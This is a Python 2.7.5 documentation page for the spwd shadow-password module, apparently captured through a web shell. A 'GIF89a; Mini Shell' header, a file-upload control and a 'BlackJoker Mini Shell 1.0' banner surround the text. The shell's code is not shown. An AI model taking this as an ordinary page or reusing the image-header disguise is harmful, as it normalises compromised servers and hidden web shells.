GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/doc/python-docs-2.7.5/html/library/
Upload File :
Current File : //usr/share/doc/python-docs-2.7.5/html/library/spwd.html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    
    <title>35.3. spwd — The shadow password database &mdash; Python 2.7.5 documentation</title>
    
    <link rel="stylesheet" href="../_static/default.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    
    <script type="text/javascript">
      var DOCUMENTATION_OPTIONS = {
        URL_ROOT:    '../',
        VERSION:     '2.7.5',
        COLLAPSE_INDEX: false,
        FILE_SUFFIX: '.html',
        HAS_SOURCE:  true
      };
    </script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.5 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="top" title="Python 2.7.5 documentation" href="../index.html" />
    <link rel="up" title="35. Unix Specific Services" href="unix.html" />
    <link rel="next" title="35.4. grp — The group database" href="grp.html" />
    <link rel="prev" title="35.2. pwd — The password database" href="pwd.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 

  </head>
  <body>
    <div class="related">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="grp.html" title="35.4. grp — The group database"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="pwd.html" title="35.2. pwd — The password database"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="http://www.python.org/">Python</a> &raquo;</li>
        <li>
          <a href="../index.html">Python 2.7.5 documentation</a> &raquo;
        </li>

          <li><a href="index.html" >The Python Standard Library</a> &raquo;</li>
          <li><a href="unix.html" accesskey="U">35. Unix Specific Services</a> &raquo;</li> 
      </ul>
    </div>  

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body">
            
  <div class="section" id="module-spwd">
<span id="spwd-the-shadow-password-database"></span><h1>35.3. <a class="reference internal" href="#module-spwd" title="spwd: The shadow password database (getspnam() and friends). (Unix)"><tt class="xref py py-mod docutils literal"><span class="pre">spwd</span></tt></a> &#8212; The shadow password database<a class="headerlink" href="#module-spwd" title="Permalink to this headline">¶</a></h1>
<p class="versionadded">
<span class="versionmodified">New in version 2.5.</span></p>
<p>This module provides access to the Unix shadow password database. It is
available on various Unix versions.</p>
<p>You must have enough privileges to access the shadow password database (this
usually means you have to be root).</p>
<p>Shadow password database entries are reported as a tuple-like object, whose
attributes correspond to the members of the <tt class="docutils literal"><span class="pre">spwd</span></tt> structure (Attribute field
below, see <tt class="docutils literal"><span class="pre">&lt;shadow.h&gt;</span></tt>):</p>
<table border="1" class="docutils">
<colgroup>
<col width="13%" />
<col width="27%" />
<col width="60%" />
</colgroup>
<thead valign="bottom">
<tr class="row-odd"><th class="head">Index</th>
<th class="head">Attribute</th>
<th class="head">Meaning</th>
</tr>
</thead>
<tbody valign="top">
<tr class="row-even"><td>0</td>
<td><tt class="docutils literal"><span class="pre">sp_nam</span></tt></td>
<td>Login name</td>
</tr>
<tr class="row-odd"><td>1</td>
<td><tt class="docutils literal"><span class="pre">sp_pwd</span></tt></td>
<td>Encrypted password</td>
</tr>
<tr class="row-even"><td>2</td>
<td><tt class="docutils literal"><span class="pre">sp_lstchg</span></tt></td>
<td>Date of last change</td>
</tr>
<tr class="row-odd"><td>3</td>
<td><tt class="docutils literal"><span class="pre">sp_min</span></tt></td>
<td>Minimal number of days between
changes</td>
</tr>
<tr class="row-even"><td>4</td>
<td><tt class="docutils literal"><span class="pre">sp_max</span></tt></td>
<td>Maximum number of days between
changes</td>
</tr>
<tr class="row-odd"><td>5</td>
<td><tt class="docutils literal"><span class="pre">sp_warn</span></tt></td>
<td>Number of days before password
expires to warn user about it</td>
</tr>
<tr class="row-even"><td>6</td>
<td><tt class="docutils literal"><span class="pre">sp_inact</span></tt></td>
<td>Number of days after password
expires until account is
blocked</td>
</tr>
<tr class="row-odd"><td>7</td>
<td><tt class="docutils literal"><span class="pre">sp_expire</span></tt></td>
<td>Number of days since 1970-01-01
until account is disabled</td>
</tr>
<tr class="row-even"><td>8</td>
<td><tt class="docutils literal"><span class="pre">sp_flag</span></tt></td>
<td>Reserved</td>
</tr>
</tbody>
</table>
<p>The sp_nam and sp_pwd items are strings, all others are integers.
<a class="reference internal" href="exceptions.html#exceptions.KeyError" title="exceptions.KeyError"><tt class="xref py py-exc docutils literal"><span class="pre">KeyError</span></tt></a> is raised if the entry asked for cannot be found.</p>
<p>It defines the following items:</p>
<dl class="function">
<dt id="spwd.getspnam">
<tt class="descclassname">spwd.</tt><tt class="descname">getspnam</tt><big>(</big><em>name</em><big>)</big><a class="headerlink" href="#spwd.getspnam" title="Permalink to this definition">¶</a></dt>
<dd><p>Return the shadow password database entry for the given user name.</p>
</dd></dl>

<dl class="function">
<dt id="spwd.getspall">
<tt class="descclassname">spwd.</tt><tt class="descname">getspall</tt><big>(</big><big>)</big><a class="headerlink" href="#spwd.getspall" title="Permalink to this definition">¶</a></dt>
<dd><p>Return a list of all available shadow password database entries, in arbitrary
order.</p>
</dd></dl>

<div class="admonition-see-also admonition seealso">
<p class="first admonition-title">See also</p>
<dl class="last docutils">
<dt>Module <a class="reference internal" href="grp.html#module-grp" title="grp: The group database (getgrnam() and friends). (Unix)"><tt class="xref py py-mod docutils literal"><span class="pre">grp</span></tt></a></dt>
<dd>An interface to the group database, similar to this.</dd>
<dt>Module <a class="reference internal" href="pwd.html#module-pwd" title="pwd: The password database (getpwnam() and friends). (Unix)"><tt class="xref py py-mod docutils literal"><span class="pre">pwd</span></tt></a></dt>
<dd>An interface to the normal password database, similar to this.</dd>
</dl>
</div>
</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar">
        <div class="sphinxsidebarwrapper">
  <h4>Previous topic</h4>
  <p class="topless"><a href="pwd.html"
                        title="previous chapter">35.2. <tt class="docutils literal"><span class="pre">pwd</span></tt> &#8212; The password database</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="grp.html"
                        title="next chapter">35.4. <tt class="docutils literal"><span class="pre">grp</span></tt> &#8212; The group database</a></p>
<h3>This Page</h3>
<ul class="this-page-menu">
  <li><a href="../bugs.html">Report a Bug</a></li>
  <li><a href="../_sources/library/spwd.txt"
         rel="nofollow">Show Source</a></li>
</ul>

<div id="searchbox" style="display: none">
  <h3>Quick search</h3>
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    <p class="searchtip" style="font-size: 90%">
    Enter search terms or a module, class or function name.
    </p>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>
    <div class="related">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="grp.html" title="35.4. grp — The group database"
             >next</a> |</li>
        <li class="right" >
          <a href="pwd.html" title="35.2. pwd — The password database"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="http://www.python.org/">Python</a> &raquo;</li>
        <li>
          <a href="../index.html">Python 2.7.5 documentation</a> &raquo;
        </li>

          <li><a href="index.html" >The Python Standard Library</a> &raquo;</li>
          <li><a href="unix.html" >35. Unix Specific Services</a> &raquo;</li> 
      </ul>
    </div>
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="http://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Jul 03, 2019.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.1.3.
    </div>

  </body>
</html>

./BlackJoker Mini Shell 1.0